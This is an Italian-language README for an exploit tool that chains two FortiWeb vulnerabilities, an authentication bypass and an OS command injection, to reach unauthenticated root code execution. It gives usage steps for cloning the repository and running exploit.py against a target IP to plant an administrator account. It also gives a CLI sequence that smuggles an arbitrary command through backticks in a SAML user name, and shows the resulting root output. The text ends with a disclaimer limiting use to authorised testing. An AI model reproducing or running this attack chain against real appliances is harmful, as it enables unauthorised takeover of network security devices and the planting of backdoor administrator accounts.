
Exploit di Esecuzione Remota di Codice (RCE) su FortiWeb tramite la catena CVE-2025-64446 + CVE-2025-58034
Questo script combina due vulnerabilità critiche in Fortinet FortiWeb per ottenere esecuzione remota di codice non autenticata con privilegi di root:
CVE-2025-64446 – Bypass dell'autenticazione tramite Path Traversal relativo
Permette a un attaccante non autenticato di aggirare l'autenticazione e creare un nuovo account amministrativo.
CVE-2025-58034 – Iniezione di comandi OS autenticata
Un attaccante autenticato (usando l'account creato al punto 1) può eseguire comandi OS arbitrari come root tramite richieste HTTP appositamente predisposte.
Combinando queste due vulnerabilità, un attaccante può passare da zero accessi al pieno compromesso del sistema senza alcuna credenziale iniziale.
Impatto Finale: Esecuzione Remota di Codice non autenticata (equivalente a shell root)
Catena d'Attacco Combinata:
Clona il repository:
git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034
cd CVE-2025-64446_CVE-2025-58034
Installa le dipendenze:
pip install -r requirements.txt
Esegui l'exploit completo (crea admin + esegue comando):
python exploit.py <target_ip> [-u <username>] [-p <password>]
<target_ip>: L'indirizzo IP o hostname dell'appliance FortiWeb vulnerabile. Questo è un argomento obbligatorio.-u <username> (opzionale): Specifica un nome utente personalizzato per l'account amministrativo creato. Se non fornito, verrà utilizzato un UUID.-p <password> (opzionale): Specifica una password personalizzata per l'account amministrativo creato. Se non fornita, il nome utente verrà usato come password.Esempio:
python exploit.py 192.168.1.100 -u admin123 -p password456
Questo tenterà di creare un account amministrativo con nome utente "admin123" e password "password456" sull'appliance target all'indirizzo 192.168.1.100.
Se non vengono specificati nome utente e password:
python exploit.py 192.168.1.100


Dopo aver effettuato l'accesso con il nuovo account amministrativo, un attaccante può sfruttare la vulnerabilità di iniezione di comandi autenticata tramite richieste appositamente predisposte o direttamente tramite la CLI di FortiWeb.
Un metodo affidabile di sfruttamento è utilizzare il seguente comando CLI (eseguito dall'interfaccia a riga di comando di FortiWeb dopo l'autenticazione):
config user saml-user
edit "`<YOUR COMMAND>`"
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end

Dopo l'esecuzione:
uid=0(root) gid=0(root) conferma RCE come root)Disclaimer: Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato contro sistemi di cui non si possiede la proprietà o per i quali non si ha esplicito permesso di test è illegale.
Lo script genererà un UUID casuale per il nome utente e lo utilizzerà come password.